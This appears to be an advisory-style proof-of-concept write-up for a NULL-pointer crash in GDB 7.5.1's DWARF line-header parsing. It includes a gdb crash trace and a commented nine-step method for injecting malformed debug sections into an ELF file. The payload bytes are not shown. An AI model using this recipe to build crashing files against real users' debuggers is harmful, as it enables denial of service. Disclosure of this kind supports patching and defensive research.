* 12/12/2012 The status on the tracker is still "NEW"
*
**************** TECHNICAL DETAILS ***********************
In gdb-7.5.1/gdb/dwarf2read.c is the following data structure:
struct line_header
{
...
unsigned int num_include_dirs, include_dirs_size;
char **include_dirs;
...
struct file_entry
{
char *name;
unsigned int dir_index;
unsigned int mod_time;
unsigned int length;
...
} *file_names;
}

The problem exists when trying to open a malformed ELF that contains a
file_entry.dir_index > 0 and char **include_dirs pointing to NULL.

After patching an ELF file with this code, the following happens:

(gdb) r -q ./evil_exploit

Program received signal SIGSEGV, Segmentation fault.
0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0,
pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969
13970 dir_name = lh->include_dirs[fe.dir_index - 1];
(gdb) p/x fe
$1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0,
included_p = 0x1, symtab = 0x0}
(gdb) p lh->include_dirs
$2 = (char **) 0x0
(gdb) x/i $eip
=> 0x81e87bd <psymtab_include_file_name+111>: mov (%eax),%eax
(gdb) i r $eax
eax 0x38 56

The root cause of the problem is that there's no validation to
verify if include_dirs is different from NULL before referencing it.

/*
* This function will add the section '.debug_line'
* with the payload inside. Also, it's necessary to
* update some ELF metadata as well as to include some
* extra Elf32_Shdr structures in the middle of the file.
*
* I solved this problem doing the following steps:
*
* 1.- Patch the .shstrtab (and .strtab) sections size, so
* the names (strings at the end of the file) of the new appended
* sections will be inside that sections (gdb checks for the offsets).
*
* 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info,
* .debug_abbrev and .debug_str) which are necessary to crash gdb:
* ->sh_name is a relative offset to shstrtab_section->sh_offset
* So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset
* (it means that at the end of the file there will be the
* string '.debug_line' (null terminated)). The same calculations for the
* other 3 new sections added.
* ->sh_offset is the absolute offset in file system, so it'll be
* pointing to the end of the file.
* ->sh_size will be obviously sizeof() each section content (payloads)
*
* 3.- Calculate the insertion point (offset in file system):
* header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr)
*
* 4.- Four Elf32_Shdr structured will be appended at the end of the
* Section Header Table, so it means that for each program header
* who's segment is after the insertion, its offset in file system has to
* be updated to reflect the new position after insertion:
* pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;
* Also update the header->e_phoff (in case it's after the injection point).
*
* 5.- Update the ELF header to account for 4 extra section headers:
* ->header->e_shnum += n_sections_to_inject;
*
* 6.- Synchronize the ELF in file system with its corresponding
* pointer in memory to reflect the previous changes (msync()).
* Also close the file descriptor.
*
* 7.- Physically insert the Elf32_Shdr structures at the end
* of the Section Header Table (insertion point calculated in the step 3).
* After that, copy the rest of the file.

* 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info',
* '.debug_abbrev' and '.debug_str') followed by its corresponding null byte.
*
* 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[]
* and debug_abbrev[])
